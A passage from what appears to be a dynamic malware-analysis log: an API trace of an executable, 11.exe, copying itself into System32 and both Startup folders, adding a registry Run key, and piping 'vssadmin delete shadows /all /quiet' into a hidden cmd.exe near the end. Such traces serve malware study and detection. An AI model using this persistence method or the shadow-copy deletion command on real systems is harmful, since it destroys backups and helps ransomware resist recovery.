(Heap=0x790000, Flags=0x0, Ptr=0x80c268, Size=0x100) returned 0x7ca620 [0188.751] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0188.751] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca620 | out: hHeap=0x790000) returned 1 [0188.751] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\11.exe", lpDst=0x7ebdf0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\11.exe") returned 0x1b [0188.751] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fbdf8 | out: hHeap=0x790000) returned 1 [0188.751] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ebdf0 | out: hHeap=0x790000) returned 1 [0188.752] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x24e8020 [0188.756] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca0b8 [0188.756] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca0b8, Size=0x20) returned 0x7c56a8 [0188.756] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9e60 [0188.756] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9e60, Size=0x20) returned 0x7c56d0 [0188.757] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0188.757] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0188.757] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0188.757] lstrlenW (lpString="kernel32.dll") returned 12 [0188.757] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c56a8 | out: hHeap=0x790000) returned 1 [0188.757] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0188.757] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c56d0 | out: hHeap=0x790000) returned 1 [0188.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0188.757] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\11.exe" (normalized: "c:\\windows\\system32\\11.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0188.758] ReadFile (in: hFile=0x220, lpBuffer=0x24e8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e8020*, lpNumberOfBytesRead=0x19fd90*=0x100000, lpOverlapped=0x0) returned 1 [0188.819] WriteFile (in: hFile=0x224, lpBuffer=0x24e8020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e8020*, lpNumberOfBytesWritten=0x19fd90*=0x100000, lpOverlapped=0x0) returned 1 [0188.837] ReadFile (in: hFile=0x220, lpBuffer=0x24e8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e8020*, lpNumberOfBytesRead=0x19fd90*=0xff400, lpOverlapped=0x0) returned 1 [0188.849] WriteFile (in: hFile=0x224, lpBuffer=0x24e8020*, nNumberOfBytesToWrite=0xff400, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e8020*, lpNumberOfBytesWritten=0x19fd90*=0xff400, lpOverlapped=0x0) returned 1 [0188.878] ReadFile (in: hFile=0x220, lpBuffer=0x24e8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e8020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0188.878] CloseHandle (hObject=0x224) returned 1 [0188.975] CloseHandle (hObject=0x220) returned 1 [0188.975] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca058 [0188.975] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca058, Size=0x20) returned 0x7c5810 [0188.975] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9e30 [0188.975] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9e30, Size=0x20) returned 0x7c5518 [0188.976] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0188.976] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0188.976] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0188.976] lstrlenW (lpString="kernel32.dll") returned 12 [0188.976] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5518 | out: hHeap=0x790000) returned 1 [0188.976] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0188.976] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5810 | out: hHeap=0x790000) returned 1 [0188.976] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x24e8020 | out: hHeap=0x790000) returned 1 [0188.981] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca0d0 [0188.981] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca0d0, Size=0x20) returned 0x7c57c0 [0188.981] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c57c0, Size=0x40) returned 0x79fc40 [0188.981] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fc40, Size=0x80) returned 0x80c6a8 [0188.981] lstrlenW (lpString="C:\\WINDOWS\\System32\\11.exe") returned 26 [0188.981] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0188.981] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x5c) returned 0x7caaa0 [0188.981] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x220) returned 0x0 [0188.982] RegSetValueExW (in: hKey=0x220, lpValueName="11.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\11.exe", cbData=0x34 | out: lpData="C:\\WINDOWS\\System32\\11.exe") returned 0x0 [0188.982] RegCloseKey (hKey=0x220) returned 0x0 [0188.982] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7caaa0 | out: hHeap=0x790000) returned 1 [0188.982] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0188.982] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80c6a8 | out: hHeap=0x790000) returned 1 [0188.982] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7ebdf0 [0188.983] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7fbdf8 [0188.983] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca028 [0188.983] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca028, Size=0x20) returned 0x7c5540 [0188.983] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5540, Size=0x40) returned 0x79fb20 [0188.983] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fb20, Size=0x80) returned 0x80c840 [0188.983] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c840, Size=0x100) returned 0x7ca620 [0188.983] lstrlenW (lpString="") returned 0 [0188.983] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0188.983] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x7ca728 [0188.983] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x220) returned 0x0 [0188.983] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7fbdf8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x7fbdf8*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0188.983] RegCloseKey (hKey=0x220) returned 0x0 [0188.983] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca728 | out: hHeap=0x790000) returned 1 [0188.983] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0188.983] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x7ca728 [0188.983] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x224) returned 0x0 [0188.984] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7fbdf8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0188.985] RegCloseKey (hKey=0x224) returned 0x0 [0188.985] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca728 | out: hHeap=0x790000) returned 1 [0188.985] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0188.985] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0188.985] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca620 | out: hHeap=0x790000) returned 1 [0188.985] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\11.exe", lpDst=0x7ebdf0, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\11.exe") returned 0x55 [0188.985] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fbdf8 | out: hHeap=0x790000) returned 1 [0188.985] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ebdf0 | out: hHeap=0x790000) returned 1 [0188.986] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x24ea020 [0188.989] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca0e8 [0188.989] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca0e8, Size=0x20) returned 0x7c5748 [0188.989] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca070 [0188.989] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca070, Size=0x20) returned 0x7c5838 [0188.989] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0188.989] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0188.989] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0188.989] lstrlenW (lpString="kernel32.dll") returned 12 [0188.989] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5748 | out: hHeap=0x790000) returned 1 [0188.989] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0188.989] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5838 | out: hHeap=0x790000) returned 1 [0188.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0188.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\11.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\11.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0189.027] ReadFile (in: hFile=0x224, lpBuffer=0x24ea020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ea020*, lpNumberOfBytesRead=0x19fd90*=0x100000, lpOverlapped=0x0) returned 1 [0189.048] WriteFile (in: hFile=0x228, lpBuffer=0x24ea020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ea020*, lpNumberOfBytesWritten=0x19fd90*=0x100000, lpOverlapped=0x0) returned 1 [0189.074] ReadFile (in: hFile=0x224, lpBuffer=0x24ea020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ea020*, lpNumberOfBytesRead=0x19fd90*=0xff400, lpOverlapped=0x0) returned 1 [0189.074] WriteFile (in: hFile=0x228, lpBuffer=0x24ea020*, nNumberOfBytesToWrite=0xff400, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ea020*, lpNumberOfBytesWritten=0x19fd90*=0xff400, lpOverlapped=0x0) returned 1 [0189.093] ReadFile (in: hFile=0x224, lpBuffer=0x24ea020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24ea020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0189.093] CloseHandle (hObject=0x228) returned 1 [0189.153] CloseHandle (hObject=0x224) returned 1 [0189.153] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9ef0 [0189.153] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9ef0, Size=0x20) returned 0x7c5568 [0189.153] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9f08 [0189.153] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9f08, Size=0x20) returned 0x7c5590 [0189.153] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0189.154] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0189.154] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0189.154] lstrlenW (lpString="kernel32.dll") returned 12 [0189.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5590 | out: hHeap=0x790000) returned 1 [0189.154] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0189.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5568 | out: hHeap=0x790000) returned 1 [0189.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x24ea020 | out: hHeap=0x790000) returned 1 [0189.158] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7ebdf0 [0189.158] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7fbdf8 [0189.158] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9f80 [0189.158] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9f80, Size=0x20) returned 0x7c57c0 [0189.158] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c57c0, Size=0x40) returned 0x79fb20 [0189.158] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fb20, Size=0x80) returned 0x80c7b8 [0189.158] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c7b8, Size=0x100) returned 0x7ca620 [0189.158] lstrlenW (lpString="") returned 0 [0189.158] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0189.159] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8c) returned 0x7ca728 [0189.159] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x224) returned 0x0 [0189.159] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x7fbdf8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0189.159] RegCloseKey (hKey=0x224) returned 0x0 [0189.159] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca728 | out: hHeap=0x790000) returned 1 [0189.159] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0189.159] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0189.159] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca620 | out: hHeap=0x790000) returned 1 [0189.159] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\11.exe", lpDst=0x7ebdf0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\11.exe") returned 0x44 [0189.159] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fbdf8 | out: hHeap=0x790000) returned 1 [0189.159] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ebdf0 | out: hHeap=0x790000) returned 1 [0189.160] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x24e5020 [0189.162] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca088 [0189.162] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca088, Size=0x20) returned 0x7c55e0 [0189.162] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9f50 [0189.162] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9f50, Size=0x20) returned 0x7c5540 [0189.162] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0189.162] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0189.162] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0189.163] lstrlenW (lpString="kernel32.dll") returned 12 [0189.163] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c55e0 | out: hHeap=0x790000) returned 1 [0189.163] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0189.163] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5540 | out: hHeap=0x790000) returned 1 [0189.163] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0189.163] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\11.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\11.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0189.175] ReadFile (in: hFile=0x224, lpBuffer=0x24e5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e5020*, lpNumberOfBytesRead=0x19fd90*=0x100000, lpOverlapped=0x0) returned 1 [0189.185] WriteFile (in: hFile=0x228, lpBuffer=0x24e5020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e5020*, lpNumberOfBytesWritten=0x19fd90*=0x100000, lpOverlapped=0x0) returned 1 [0189.196] ReadFile (in: hFile=0x224, lpBuffer=0x24e5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e5020*, lpNumberOfBytesRead=0x19fd90*=0xff400, lpOverlapped=0x0) returned 1 [0189.197] WriteFile (in: hFile=0x228, lpBuffer=0x24e5020*, nNumberOfBytesToWrite=0xff400, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e5020*, lpNumberOfBytesWritten=0x19fd90*=0xff400, lpOverlapped=0x0) returned 1 [0189.222] ReadFile (in: hFile=0x224, lpBuffer=0x24e5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x24e5020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0189.222] CloseHandle (hObject=0x228) returned 1 [0189.269] CloseHandle (hObject=0x224) returned 1 [0189.269] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7ca058 [0189.269] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca058, Size=0x20) returned 0x7c55e0 [0189.269] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9f38 [0189.269] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9f38, Size=0x20) returned 0x7c56a8 [0189.269] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0189.269] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0189.269] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0189.269] lstrlenW (lpString="kernel32.dll") returned 12 [0189.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c56a8 | out: hHeap=0x790000) returned 1 [0189.269] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0189.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c55e0 | out: hHeap=0x790000) returned 1 [0189.269] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x24e5020 | out: hHeap=0x790000) returned 1 [0189.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cbde0 | out: hHeap=0x790000) returned 1 [0189.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7dbde8 | out: hHeap=0x790000) returned 1 [0189.277] lstrlenW (lpString="%windir%\\System32") returned 17 [0189.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f928 | out: hHeap=0x790000) returned 1 [0189.277] lstrlenW (lpString="%appdata%") returned 9 [0189.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5680 | out: hHeap=0x790000) returned 1 [0189.277] lstrlenW (lpString="%sh(Startup)%") returned 13 [0189.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5770 | out: hHeap=0x790000) returned 1 [0189.277] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0189.277] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79f8e0 | out: hHeap=0x790000) returned 1 [0189.277] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9e18 [0189.277] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9e18, Size=0x20) returned 0x7c54c8 [0189.277] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c54c8, Size=0x40) returned 0x79fb20 [0189.277] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fb20, Size=0x80) returned 0x80bfc0 [0189.277] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9e18 [0189.277] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9e18, Size=0x20) returned 0x7c5838 [0189.277] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1fffc) returned 0x7cbde0 [0189.278] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7ebde8 [0189.278] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x7fbdf0 [0189.278] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7c9ed8 [0189.278] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c9ed8, Size=0x20) returned 0x7c5518 [0189.278] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5518, Size=0x40) returned 0x79fd60 [0189.278] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fd60, Size=0x80) returned 0x80c840 [0189.278] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c840, Size=0x100) returned 0x7ca620 [0189.278] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0189.278] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca620 | out: hHeap=0x790000) returned 1 [0189.278] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x7ebde8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0189.278] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fbdf0 | out: hHeap=0x790000) returned 1 [0189.279] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ebde8 | out: hHeap=0x790000) returned 1 [0189.279] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x228, hWritePipe=0x19fd54*=0x22c) returned 1 [0189.280] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x230, hWritePipe=0x19fdc4*=0x234) returned 1 [0189.281] SetHandleInformation (hObject=0x22c, dwMask=0x1, dwFlags=0x0) returned 1 [0189.281] SetHandleInformation (hObject=0x230, dwMask=0x1, dwFlags=0x0) returned 1 [0189.281] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x23c, hThread=0x238, dwProcessId=0xb10, dwThreadId=0xd94)) returned 1 [0189.679] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0189.679] WriteFile (in: hFile=0x22c, lpBuffer=0x80bfc0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x80bfc0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0189.679] CloseHandle (hObject=0x23c) returned 1 [0189.679] CloseHandle (hObject=0x238) returned 1 [0189.679] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cbde0 | out: hHeap=0x790000) returned 1 [0189.680] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all 